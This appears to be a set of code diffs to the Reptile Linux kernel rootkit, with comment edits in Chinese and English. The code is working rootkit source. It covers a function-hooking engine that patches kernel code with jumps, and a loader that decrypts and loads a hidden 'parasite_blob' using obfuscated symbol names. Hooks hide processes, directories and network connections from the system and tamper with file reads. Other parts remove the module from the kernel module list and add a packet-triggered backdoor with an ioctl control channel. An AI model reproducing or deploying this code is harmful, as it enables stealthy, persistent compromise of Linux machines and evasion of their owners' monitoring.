if (!p->target.addr) continue;
p->target.addr_map = khook_map_writable(p->target.addr, 32); // 映射地址
khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
}
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr) continue;
p->target.addr_map = khook_map_writable(p->target.addr, 32);
khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
}
}
/*
*
*/
static void khook_unmap(int wait)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
khook_stub_t *stub = KHOOK_STUB(p);
if (!p->target.addr_map) continue;
while (wait && atomic_read(&stub->use_count) > 0) {
khook_wakeup(); // 唤醒进程
msleep_interruptible(1000); // 休眠1秒
khook_debug("waiting for %s...\n", p->target.name);
}
vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); // 取消映射
p->target.addr_map = NULL;
}
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
khook_stub_t *stub = KHOOK_STUB(p);
if (!p->target.addr_map) continue;
while (wait && atomic_read(&stub->use_count) > 0) {
khook_wakeup();
msleep_interruptible(1000);
khook_debug("waiting for %s...\n", p->target.name);
}
vunmap((void *)((long)p->target.addr_map & PAGE_MASK));
p->target.addr_map = NULL;
}
}
////////////////////////////////////////////////////////////////////////////////
/* khook_init()和khook_cleanup()对挂钩引擎进行初始化和注销 */
/*
*
* 1. mallocstub
* 2. khook_resolve
* 3.
* 4. stop_machine
*/
int khook_init(void)
{
void *(*malloc)(long size) = NULL;
int (*set_memory_x)(unsigned long, int) = NULL;
void *(*malloc)(long size) = NULL;
int (*set_memory_x)(unsigned long, int) = NULL;
malloc = khook_lookup_name("module_alloc");
if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL;
malloc = khook_lookup_name("module_alloc");
if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL;
khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
if (!khook_stub_tbl) return -ENOMEM;
memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);
khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
if (!khook_stub_tbl) return -ENOMEM;
memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);
//
// Since some point memory allocated by module_alloc() doesn't
// have eXecutable attributes. That's why we have to mark the
// region executable explicitly.
//
//
// Since some point memory allocated by module_alloc() doesn't
// have eXecutable attributes. That's why we have to mark the
// region executable explicitly.
//
set_memory_x = khook_lookup_name("set_memory_x");
if (set_memory_x) {
int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)khook_stub_tbl, numpages);
}
set_memory_x = khook_lookup_name("set_memory_x");
if (set_memory_x) {
int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)khook_stub_tbl, numpages);
}
khook_resolve(); // 解析符号表
khook_resolve();
khook_map(); // 映射地址
stop_machine(khook_sm_init_hooks, NULL, NULL); // 初始化钩子
khook_unmap(0); // 取消映射
khook_map();
stop_machine(khook_sm_init_hooks, NULL, NULL);
khook_unmap(0);
return 0;
return 0;
}
/*
*
* 1.
* 2. stop_machine
* 3.
* 4.
*/
void khook_cleanup(void)
{
khook_map(); // 映射地址
stop_machine(khook_sm_cleanup_hooks, NULL, NULL); // 清理钩子
khook_unmap(1); // 取消映射
vfree(khook_stub_tbl); // 释放内存
}
khook_map();
stop_machine(khook_sm_cleanup_hooks, NULL, NULL);
khook_unmap(1);
vfree(khook_stub_tbl);
}

@ -4,15 +4,6 @@
#define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count
/*
*
* fn
* name
* addr
* addr_map
* orig
*/
typedef struct {
void *fn; // handler fn address
struct {
@ -24,13 +15,6 @@ typedef struct {
unsigned long flags; // hook engine options (flags)
} khook_t;
/*
* funfunkhook_fun
*
* __attribute__((unused)
* __attribute__((aligned(1)))
* __attribute__((section(".data.khook"))).data.khook
*/
#define KHOOK_(t, f) \
static inline typeof(t) khook_##t; /* forward decl */ \
khook_t \

@ -6,8 +6,3 @@ SECTIONS
KHOOK_tbl_end = . ;
}
}
In engine.c, all hooks are allocated to the .data.khook section.
The above script means that all contents of .data.khook are placed in the .data section.
The '.' character represents the current location counter, so KHOOK_tbl points to the beginning of .data.khook, and KHOOK_tbl_end points to the end of KHOOK_tbl_end.
These two variables represent the start and end addresses of the hook table, KHOOK_tbl and KHOOK_tbl_end.

@ -20,11 +20,6 @@ extern khook_t KHOOK_tbl_end[];
#define KHOOK_FOREACH_HOOK(p) \
for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++)
/*
* STUB
* STUBstub.incstub32.incstub
*
*/
typedef struct {
#pragma pack(push, 1)
union {

@ -1,3 +1,4 @@
//内核中实现x86架构下的函数钩子hook
#include "../internal.h"
////////////////////////////////////////////////////////////////////////////////
@ -6,19 +7,11 @@
#include <asm/insn.h>
/*
* typeof GCC
*
*
*/
static struct {
typeof(insn_init) *init;
typeof(insn_get_length) *get_length;
} khook_arch_lde;
/*
* insn_init insn_get_length
*/
//初始化长度解析引擎
static inline int khook_arch_lde_init(void) {
khook_arch_lde.init = khook_lookup_name("insn_init");
if (!khook_arch_lde.init) return -EINVAL;
@ -26,12 +19,7 @@ static inline int khook_arch_lde_init(void) {
if (!khook_arch_lde.get_length) return -EINVAL;
return 0;
}
/*
* p
* insn_initinsn
* get_lengthinsnlength
*/
//获取指令长度
static inline int khook_arch_lde_get_length(const void *p) {
struct insn insn;
int x86_64 = 0;
@ -48,43 +36,37 @@ static inline int khook_arch_lde_get_length(const void *p) {
}
////////////////////////////////////////////////////////////////////////////////
//插入跳转指令
// place a jump at addr @a from addr @f to addr @t
static inline void x86_put_jmp(void *a, void *f, void *t)
{
*((char *)(a + 0)) = 0xE9; //跳转指令的Opcode
*(( int *)(a + 1)) = (long)(t - (f + 5)); //偏移计算
*((char *)(a + 0)) = 0xE9;
*(( int *)(a + 1)) = (long)(t - (f + 5));
}
static const char khook_stub_template[] = {
# include KHOOK_STUB_FILE_NAME
};
//修复函数钩子中的占位符,
static inline void stub_fixup(void *stub, const void *value) {
while (*(int *)stub != 0xcacacaca) stub++;
*(long *)stub = (long)value;
}
/*
*
* 使
* 便
*/
//初始化单个钩子
static inline void khook_arch_sm_init_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook);
// 跳转指令的第一个字节是0xE9或0xCC表示已经被hook过了
if (hook->target.addr[0] == (char)0xE9 ||
hook->target.addr[0] == (char)0xCC) return;
BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes));
memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); // 拷贝模板到stub中
memcpy(stub, khook_stub_template, sizeof(khook_stub_template));
stub_fixup(stub->hook, hook->fn);
while (stub->nbytes < 5)
stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);
memcpy(stub->orig, hook->target.addr, stub->nbytes); // 拷贝hook原函数到stub的orig中
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); // 设置跳转
memcpy(stub->orig, hook->target.addr, stub->nbytes);
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes);
if (hook->flags & KHOOK_F_NOREF) {
x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn);
} else {
@ -92,11 +74,7 @@ static inline void khook_arch_sm_init_one(khook_t *hook) {
}
hook->orig = stub->orig; // the only link from hook to stub
}
/*
*
*
*/
//清理单个钩子
static inline void khook_arch_sm_cleanup_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook);
memcpy(hook->target.addr_map, stub->orig, stub->nbytes);

@ -1,3 +1,4 @@
//内核模块的初始化
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/module.h>
@ -9,92 +10,76 @@
#include "encrypt.h"
// 定义 SYS_INIT_MODULE 宏,用于生成 "sys_init_module" 字符串
#define SYS_INIT_MODULE \
({ \
unsigned int *p = __builtin_alloca(16); \
p[0] = 0x5f737973; \
p[1] = 0x74696e69; \
p[2] = 0x646f6d5f; \
p[3] = 0x00656c75; \
(char *)p; \
})
// 定义 __DO_SYS_INIT_MODULE 宏,用于生成 "__do_sys_init_module" 字符串
({ \
unsigned int *p = __builtin_alloca(16); \
p[0] = 0x5f737973; \
p[1] = 0x74696e69; \
p[2] = 0x646f6d5f; \
p[3] = 0x00656c75; \
(char *)p; \
})
#define __DO_SYS_INIT_MODULE \
({ \
unsigned int *p = __builtin_alloca(24); \
p[0] = 0x6f645f5f; \
p[1] = 0x7379735f; \
p[2] = 0x696e695f; \
p[3] = 0x6f6d5f74; \
p[4] = 0x656c7564; \
p[5] = 0x00000000; \
(char *)p; \
})
// 包含 parasite_blob.inc 文件中的数据
({ \
unsigned int *p = __builtin_alloca(24); \
p[0] = 0x6f645f5f; \
p[1] = 0x7379735f; \
p[2] = 0x696e695f; \
p[3] = 0x6f6d5f74; \
p[4] = 0x656c7564; \
p[5] = 0x00000000; \
(char *)p; \
})
static char parasite_blob[] = {
#include "parasite_blob.inc"
};
// 内核符号表查找函数的回调函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
unsigned long addr)
unsigned long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++])
return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
}
return 0; // 未找到匹配的符号返回0
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++])
return !!(data[1] = addr);
}
return 0;
}
// 查找符号表中的符号地址
static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 实现在khook/engine.c中
return data[1]; // 返回找到的符号地址
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[1];
}
/*
* init_modulesys_init_module
* ksym_lookup_name
*/
int init_module(void)
{
int ret = -EINVAL;
asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
int ret = -EINVAL;
asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
// 解密 parasite_blob 数据
do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
// 查找 sys_init_module 函数的地址
sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
if (!sys_init_module)
sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE);
if (!sys_init_module)
sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE);
if (sys_init_module) {
const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max();
if (sys_init_module) {
const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max();
// 找到 parasite_blob 中的空字符
while (*nullarg)
nullarg++;
while (*nullarg)
nullarg++;
// 设置用户地址空间的最大值
user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
user_addr_max() = seg; // 恢复用户地址空间的最大值
}
user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
user_addr_max() = seg;
}
return ret;
return ret;
}
/*
*
*/
MODULE_LICENSE("GPL");
MODULE_INFO(intree, "Y");
MODULE_INFO(intree, "Y");

@ -1,3 +1,4 @@
//加载所需模块
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
@ -34,4 +35,4 @@ int main(void)
free(module_image);
return ret;
}
}

@ -11,7 +11,7 @@
int hidden = 1;
/* ------------------------ 隐藏进程 ------------------------- */
/* ------------------------ HIDE PROCESS ------------------------- */
#ifdef CONFIG_HIDE_PROC
@ -25,7 +25,7 @@ static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
ret = KHOOK_ORIGIN(copy_creds, p, clone_flags);
if (!ret && is_task_invisible(current))
p->flags |= FLAG; // 如果任务不可见,设置标志
p->flags |= FLAG;
return ret;
}
@ -35,7 +35,7 @@ static void khook_exit_creds(struct task_struct *p)
{
KHOOK_ORIGIN(exit_creds, p);
if (is_task_invisible(p))
p->flags &= ~FLAG; // 如果任务不可见,清除标志
p->flags &= ~FLAG;
}
KHOOK(audit_alloc);
@ -44,7 +44,7 @@ static int khook_audit_alloc(struct task_struct *t)
int err = 0;
if (is_task_invisible(t)) {
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 如果任务不可见,清除系统调用审计标志
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT);
} else {
err = KHOOK_ORIGIN(audit_alloc, t);
}
@ -58,7 +58,7 @@ struct task_struct *khook_find_task_by_vpid(pid_t vnr)
tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr);
if (tsk && is_task_invisible(tsk) && !is_task_invisible(current))
tsk = NULL; // 如果任务不可见且当前任务可见返回NULL
tsk = NULL;
return tsk;
}
@ -68,30 +68,30 @@ static int khook_vfs_statx(int dfd, const char __user *filename, int flags, stru
u32 request_mask)
{
if (is_proc_invisible_2(filename))
return -EINVAL; // 如果进程不可见,返回无效参数错误
return -EINVAL;
return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask);
}
KHOOK_EXT(long, sys_kill, long, long);
static long khook_sys_kill(long pid, long sig) {
if (sig == 0) {
if (sig == 0) {
if (is_proc_invisible(pid)) {
return -ESRCH; // 如果进程不可见,返回无此进程错误
return -ESRCH;
}
}
return KHOOK_ORIGIN(sys_kill, pid, sig);
}
KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *);
static long khook___x64_sys_kill(const struct pt_regs *regs) {
if (regs->si == 0) {
if (regs->si == 0) {
if (is_proc_invisible(regs->di)) {
return -ESRCH; // 如果进程不可见,返回无此进程错误
return -ESRCH;
}
}
return KHOOK_ORIGIN(__x64_sys_kill, regs);
}
@ -101,7 +101,7 @@ static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_it
if (hidden) {
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
if (!(iter.task->flags & FLAG))
break; // 跳过不可见任务
break;
iter.tgid++;
}
@ -113,17 +113,20 @@ static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_it
#endif
/* ------------------------- 隐藏目录 --------------------------- */
/* ------------------------- HIDE DIR --------------------------- */
#ifdef CONFIG_HIDE_DIR
#include <linux/dcache.h>
#include "dir.h"
/* 这些钩子有点问题,但它们能工作,也许将来会改进 */
/* Can you see a little problem on those hooks? This is not the best
* way to do this feature, but I am going to keep it this way, after all,
* this is just a public project, isn't it?
*/
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
@ -198,7 +201,7 @@ struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
}
#endif
/* --------------------- 文件内容篡改 --------------------- */
/* --------------------- FILE CONTENT TAMPERING --------------------- */
#ifdef CONFIG_FILE_TAMPERING
@ -207,10 +210,10 @@ struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
atomic_t read_on;
int file_tampering_flag = 0;
// 这不是最好的方法,但它有效,也许将来会改进
// This is not the best way to do that, but it works, maybe in the future I change that
KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
static ssize_t khook_vfs_read(struct file *file, char __user *buf,
size_t count, loff_t *pos)
size_t count, loff_t *pos)
{
ssize_t ret;
@ -228,7 +231,7 @@ static ssize_t khook_vfs_read(struct file *file, char __user *buf,
#endif
/* ------------------------ 隐藏连接 ------------------------- */
/* ------------------------ HIDE CONNECTIONS ------------------------- */
#ifdef CONFIG_HIDE_CONN
@ -314,7 +317,7 @@ out:
#endif
/* ----------------------------- 后门 ----------------------------- */
/* ----------------------------- BACKDOOR ----------------------------- */
#ifdef CONFIG_BACKDOOR
#include <linux/netdevice.h>
@ -332,7 +335,7 @@ static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct pack
#endif
/* ------------------------------ 通用 ----------------------------- */
/* ------------------------------ COMMON ----------------------------- */
#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR)
#include <linux/binfmts.h>
@ -349,7 +352,7 @@ static int khook_load_elf_binary(struct linux_binprm *bprm)
}
#endif
/* ------------------------------- 控制 ----------------------------- */
/* ------------------------------- CONTROL ----------------------------- */
#include <linux/net.h>
#include <linux/in.h>
@ -364,7 +367,7 @@ struct control {
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
unsigned long arg)
{
int ret = 0;
unsigned int pid;
@ -446,9 +449,10 @@ static int __init reptile_init(void)
int ret;
#ifdef CONFIG_FILE_TAMPERING
/* 不幸的是,我需要使用这个来确保在某些内核版本中
* khook
* vfs_read
/* Unfortunately I need to use this to ensure in some kernel
* versions we will be able to unload the kernel module when
* it is needed. Otherwise khook may take a really huge delay
* to unload because of vfs_read hook
*/
atomic_set(&read_on, 0);
#endif
@ -470,11 +474,6 @@ static void __exit reptile_exit(void)
#ifdef CONFIG_FILE_TAMPERING
while(atomic_read(&read_on) != 0) schedule();
#endif
#ifdef CONFIG_HIDE_CONN
network_hide_cleanup();
#endif
khook_cleanup();
}

@ -1,103 +1,40 @@
#include <linux/module.h> // 包含 Linux 内核模块的头文件
#include <linux/mutex.h> // 包含互斥锁的头文件
#include <linux/slab.h> // 包含内存分配的头文件
//内核模块隐藏
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include "module.h" // 包含自定义模块的头文件
#include "module.h"
/**
* @file module.c
* @brief
*
*
*/
/**
* @brief 10
*/
//int hide_m = 0;
int flag_hide_m = 0;
int flag_show_m = 1;
/**
* @brief
*/
int hide_m = 0;
static struct list_head *mod_list;
/**
* @brief
*
* 使
*/
void hide(void);
/**
* @brief
*
* 使
*/
void show(void);
/**
* @brief
*
*
*/
void hide_module(void);
void hide(void)
{
// 尝试获取模块互斥锁如果失败则让CPU放松
while (!mutex_trylock(&module_mutex))
cpu_relax();
// 判断模块是否可见,并设置模块隐藏标志
if(flag_hide_m == 0 && flag_show_m == 1)
{
flag_hide_m = 1;
flag_show_m = 0;
// 保存当前模块列表的前一个条目
mod_list = THIS_MODULE->list.prev;
// 从模块列表中删除当前模块
list_del(&THIS_MODULE->list);
// 释放模块的段属性
kfree(THIS_MODULE->sect_attrs);
// 将模块的段属性设置为NULL
THIS_MODULE->sect_attrs = NULL;
// 释放模块互斥锁
mutex_unlock(&module_mutex);
}
while (!mutex_trylock(&module_mutex))
cpu_relax();
mod_list = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
mutex_unlock(&module_mutex);
hide_m = 1;
}
void show(void)
{
// 尝试获取模块互斥锁如果失败则让CPU放松
while (!mutex_trylock(&module_mutex))
cpu_relax();
// 判断模块是否隐藏,并设置模块可见标志
if(flag_show_m == 0 && flag_hide_m == 1)
{
flag_show_m = 1;
flag_hide_m = 0;
// 将模块重新添加到模块列表中
list_add(&THIS_MODULE->list, mod_list);
// 释放模块互斥锁
mutex_unlock(&module_mutex);
}
while (!mutex_trylock(&module_mutex))
cpu_relax();
list_add(&THIS_MODULE->list, mod_list);
mutex_unlock(&module_mutex);
hide_m = 0;
}
void hide_module(void)
{
// 如果模块当前可见,则隐藏模块
if (flag_hide_m == 0 && flag_show_m == 1)
if (hide_m == 0)
hide();
// 如果模块当前隐藏,则显示模块
else if (flag_hide_m == 1 && flag_show_m == 0)
else if (hide_m == 1)
show();
}
}

@ -1,92 +1,79 @@
#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/inet.h> // 包含网络地址转换相关的头文件
#include <linux/netlink.h> // 包含Netlink相关的头文件
#include <linux/inet_diag.h> // 包含网络诊断相关的头文件
//网络地址隐藏
#include <linux/version.h>
#include <linux/inet.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include "network.h" // 包含自定义的network.h头文件
#include "string_helpers.h" // 包含自定义的string_helpers.h头文件
#include "network.h"
#include "string_helpers.h"
// 添加一个隐藏的网络连接
void network_hide_add(struct sockaddr_in addr)
{
struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
struct hidden_conn *hc;
hc = kmalloc(sizeof(*hc), GFP_KERNEL); // 分配内核内存
hc = kmalloc(sizeof(*hc), GFP_KERNEL);
if (!hc) // 如果内存分配失败
return; // 直接返回
if (!hc)
return;
hc->addr = addr; // 将传入的地址赋值给hidden_conn结构体的addr成员
list_add(&hc->list, &hidden_conn_list); // 将hidden_conn结构体添加到隐藏连接列表中
hc->addr = addr;
list_add(&hc->list, &hidden_conn_list);
}
// 移除一个隐藏的网络连接
void network_hide_remove(struct sockaddr_in addr)
{
struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
struct hidden_conn *hc;
list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表
list_for_each_entry(hc, &hidden_conn_list, list)
{
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { // 如果找到匹配的地址
list_del(&hc->list); // 从列表中删除该节点
kfree(hc); // 释放内存
break; // 退出循环
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) {
list_del(&hc->list);
kfree(hc);
break;
}
}
}
void network_hide_cleanup(void)
{
struct hidden_conn *hc;
list_for_each_entry(hc, &hidden_conn_list, list)
{
list_del(&hc->list);
kfree(hc);
}
}
// 检查一个地址是否被隐藏
int is_addr_hidden(struct sockaddr_in addr)
{
struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
struct hidden_conn *hc;
list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表
list_for_each_entry(hc, &hidden_conn_list, list)
{
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) // 如果找到匹配的地址
return 1; // 返回1表示地址被隐藏
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr)
return 1;
}
return 0; // 返回0表示地址未被隐藏
return 0;
}
/*
unsigned int _inet4_pton(char *src)
{
unsigned int dst; // 定义一个无符号整数用于存储转换后的地址
int srclen = strlen(src); // 获取源字符串的长度
unsigned int dst;
int srclen = strlen(src);
if (srclen > INET_ADDRSTRLEN) // 如果源字符串长度超过最大地址长度
return -EINVAL; // 返回无效参数错误
if (srclen > INET_ADDRSTRLEN)
return -EINVAL;
if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) // 将字符串转换为网络地址
return -EINVAL; // 如果转换失败,返回无效参数错误
if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0)
return -EINVAL;
return dst; // 返回转换后的地址
return dst;
}
void hide_conn(char *ip_str)
{
unsigned int ip; // 定义一个无符号整数用于存储IP地址
struct sockaddr_in addr; // 定义一个sockaddr_in结构体用于存储地址
unsigned int ip;
struct sockaddr_in addr;
if ((ip = _inet4_pton(ip_str)) > 0) { // 将字符串转换为IP地址
addr.sin_addr.s_addr = ip; // 将IP地址赋值给sockaddr_in结构体的地址成员
if ((ip = _inet4_pton(ip_str)) > 0) {
addr.sin_addr.s_addr = ip;
if (is_addr_hidden(addr)) // 如果地址已经被隐藏
network_hide_remove(addr); // 移除隐藏的地址
if (is_addr_hidden(addr))
network_hide_remove(addr);
else
network_hide_add(addr); // 添加隐藏的地址
network_hide_add(addr);
}
}
*/

@ -1,137 +1,133 @@
#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/uaccess.h> // 包含用户空间访问相关的头文件
#include <linux/ctype.h> // 包含字符类型判断相关的头文件
#include <linux/slab.h> // 包含内核内存分配相关的头文件
#include <linux/namei.h> // 包含文件路径相关的头文件
#include <linux/limits.h> // 包含系统限制相关的头文件
//进程隐藏
#include <linux/version.h>
#include <linux/uaccess.h>
#include <linux/ctype.h>
#include <linux/slab.h>
#include <linux/namei.h>
#include <linux/limits.h>
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
# include <linux/sched/signal.h> // 包含调度和信号相关的头文件内核版本4.11及以上)
# include <linux/sched/signal.h>
#endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
# include "string_helpers.h" // 包含字符串辅助函数内核版本4.2以下)
# include "string_helpers.h"
#endif
#include "proc.h" // 包含自定义的proc.h头文件
// 设置或清除任务的标志
#include "proc.h"
//根据给定的进程ID (pid) 和标志位设置 (set) 来修改进程及其线程的标志位
int flag_tasks(pid_t pid, int set)
{
int ret = 0; // 返回值初始化为0
struct pid *p; // 定义pid结构体指针
int ret = 0;
struct pid *p;
rcu_read_lock(); // 获取RCU读锁
p = find_get_pid(pid); // 根据pid获取pid结构体
rcu_read_lock();
p = find_get_pid(pid);
if (p) {
struct task_struct *task = get_pid_task(p, PIDTYPE_PID); // 获取任务结构体
struct task_struct *task = get_pid_task(p, PIDTYPE_PID);
if (task) {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
struct task_struct *t = NULL;
for_each_thread(task, t) // 遍历任务的所有线程
for_each_thread(task, t)
{
if (set)
t->flags |= FLAG; // 设置标志
t->flags |= FLAG;
else
t->flags &= ~FLAG; // 清除标志
t->flags &= ~FLAG;
ret++; // 计数
ret++;
}
#endif
if (set)
task->flags |= FLAG; // 设置标志
task->flags |= FLAG;
else
task->flags &= ~FLAG; // 清除标志
task->flags &= ~FLAG;
put_task_struct(task); // 释放任务结构体
put_task_struct(task);
}
put_pid(p); // 释放pid结构体
put_pid(p);
}
rcu_read_unlock(); // 释放RCU读锁
return ret; // 返回设置或清除标志的任务数
rcu_read_unlock();
return ret;
}
// 根据pid查找任务
struct task_struct *find_task(pid_t pid)
{
struct task_struct *p = current; // 当前任务
struct task_struct *ret = NULL; // 返回值初始化为NULL
struct task_struct *p = current;
struct task_struct *ret = NULL;
rcu_read_lock(); // 获取RCU读锁
for_each_process(p) // 遍历所有进程
rcu_read_lock();
for_each_process(p)
{
if (p->pid == pid) { // 如果找到匹配的pid
get_task_struct(p); // 获取任务结构体
ret = p; // 设置返回值
if (p->pid == pid) {
get_task_struct(p);
ret = p;
}
}
rcu_read_unlock(); // 释放RCU读锁
rcu_read_unlock();
return ret; // 返回找到的任务结构体
return ret;
}
// 判断进程是否不可见
//判断指定进程号进程是否可见
int is_proc_invisible(pid_t pid)
{
struct task_struct *task; // 定义任务结构体指针
int ret = 0; // 返回值初始化为0
struct task_struct *task;
int ret = 0;
if (!pid) // 如果pid为0
return ret; // 返回0
if (!pid)
return ret;
task = find_task(pid); // 查找任务
if (!task) // 如果没有找到任务
return ret; // 返回0
task = find_task(pid);
if (!task)
return ret;
if (is_task_invisible(task)) // 判断任务是否不可见
ret = 1; // 设置返回值为1
if (is_task_invisible(task))
ret = 1;
put_task_struct(task); // 释放任务结构体
return ret; // 返回结果
put_task_struct(task);
return ret;
}
// 判断/proc目录下的进程是否不可见
//解析文件名->pid -> is_proc_invisible(pid)
int is_proc_invisible_2(const char __user *filename)
{
int ret = 0, i, argc, is_num = 1; // 初始化变量
pid_t pid = 0; // 初始化pid
char **a; // 定义字符指针数组
char *name = kmalloc(PATH_MAX, GFP_KERNEL); // 分配内核内存
int ret = 0, i, argc, is_num = 1;
pid_t pid = 0;
char **a;
char *name = kmalloc(PATH_MAX, GFP_KERNEL);
if (strncpy_from_user(name, filename, PATH_MAX) > 0) { // 从用户空间复制字符串
if (strncmp(name, "/proc/", 6) == 0) { // 判断是否以/proc/开头
strreplace(name, '/', ' '); // 替换斜杠为空格
if (strncpy_from_user(name, filename, PATH_MAX) > 0) {
if (strncmp(name, "/proc/", 6) == 0) {
strreplace(name, '/', ' ');
a = argv_split(GFP_KERNEL, name, &argc); // 分割字符串
a = argv_split(GFP_KERNEL, name, &argc);
for (i = 0; i < strlen(a[1]); i++) { // 遍历字符串
if (!isdigit(*a[1])) // 判断是否为数字
is_num = 0; // 设置为非数字
for (i = 0; i < strlen(a[1]); i++) {
if (!isdigit(*a[1]))
is_num = 0;
}
if (is_num) {
if (kstrtoint(a[1], 10, &pid) == 0) { // 将字符串转换为整数
if (is_proc_invisible(pid)) // 判断进程是否不可见
ret = 1; // 设置返回值为1
if (kstrtoint(a[1], 10, &pid) == 0) {
if (is_proc_invisible(pid))
ret = 1;
}
}
argv_free(a); // 释放字符指针数组
argv_free(a);
}
}
kfree(name); // 释放内存
return ret; // 返回结果
kfree(name);
return ret;
}
// 隐藏进程
void hide_proc(pid_t pid)
{
if (is_proc_invisible(pid)) // 判断进程是否不可见
flag_tasks(pid, 0); // 清除标志
if (is_proc_invisible(pid))
flag_tasks(pid, 0);
else
flag_tasks(pid, 1); // 设置标志
flag_tasks(pid, 1);
}
/*

@ -1,34 +1,32 @@
#include "string_helpers.h" // 包含头文件
//获取命令行参数,转为可打印的字符
#include "string_helpers.h"
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) // 如果内核版本小于4.7.0
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0)
/* stolen from lib/string_helpers.c */
